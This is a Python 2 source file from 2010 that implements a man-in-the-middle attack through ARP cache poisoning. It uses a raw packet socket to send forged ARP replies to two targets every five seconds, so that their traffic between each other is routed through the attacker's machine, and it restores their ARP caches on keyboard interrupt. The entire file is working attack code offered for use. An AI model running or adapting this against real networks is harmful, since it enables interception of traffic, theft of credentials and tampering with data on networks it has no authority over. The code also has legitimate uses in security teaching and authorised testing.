##########################################################################
# Copyright (C) Chatzopoulos Dimos 2010 <dimosch@gmail.com>              #
#                                                                        #
# This program is free software: you can redistribute it and/or modify   #
# it under the terms of the GNU General Public License as published by   #
# the Free Software Foundation, either version 3 of the License, or      #
# (at your option) any later version.                                    #
#                                                                        #
# This program is distributed in the hope that it will be useful,        #
# but WITHOUT ANY WARRANTY; without even the implied warranty of         #
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the          #
# GNU General Public License for more details.                           #
#                                                                        #
# You should have received a copy of the GNU General Public License      #
# along with this program.  If not, see <http://www.gnu.org/licenses/>.  #
##########################################################################

import dpkt
import socket
import time
import functs

def mitm(target1, target2, device):
    """
    Perform Man-In-The-Middle attack, with ARP cache poisoning
    """
    arp1 = dpkt.arp.ARP() # create ARP obejcts
    arp2 = dpkt.arp.ARP()
    arp2.op = arp1.op = dpkt.arp.ARP_OP_REPLY # set the ARP opcode
    arp2.sha = arp1.sha = functs.eth_aton(functs.get_device_mac(device)) # get the local mac address and assign it
    arp1.tha = functs.eth_aton(functs.get_mac(target1, device)) # get mac address for targets
    arp2.tha = functs.eth_aton(functs.get_mac(target2, device))
    arp1.spa = socket.inet_aton(target2)
    arp2.spa = socket.inet_aton(target1)
    arp1.tpa = socket.inet_aton(target1)
    arp2.tpa = socket.inet_aton(target2)
    eth1 = dpkt.ethernet.Ethernet() # create Ethernet objects
    eth2 = dpkt.ethernet.Ethernet()
    eth1.src = eth2.src = functs.eth_aton(functs.get_device_mac(device))
    eth1.dst = arp1.tha
    eth2.dst = arp2.tha
    eth1.data = arp1 # assign ARP objects to ethernet object data
    eth2.data = arp2
    eth1.type = eth2.type = dpkt.ethernet.ETH_TYPE_ARP # set the ethernet type
    s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) # create PF_PACKET socket instance
    s.bind((device, dpkt.ethernet.ETH_TYPE_ARP)) # bind the socket
    print 'Poisoning',target1,'and', target2,'...\n\n'
    while 1:
        try:

            s.send(eth1.pack())# send frame1@target1
            s.send(eth2.pack()) # send frame2@target2
            time.sleep(5) # delay seconds
        except KeyboardInterrupt: # stop at keyboard interupt
            print "\n\n MITM attack stopped. \n"
            # Restore targets' ARP cache
            arp2.sha = eth1.dst
            arp1.sha = eth2.dst
            eth1.data = arp1
            eth2.data = arp2
            print 're-ARPing',target1,'...',
            s.send(eth1.pack())
            print 'Done!\n'
            print 're-ARPing',target2,'...',
            s.send(eth2.pack())
            print 'Done!\n'
            s.close() # close socket
            break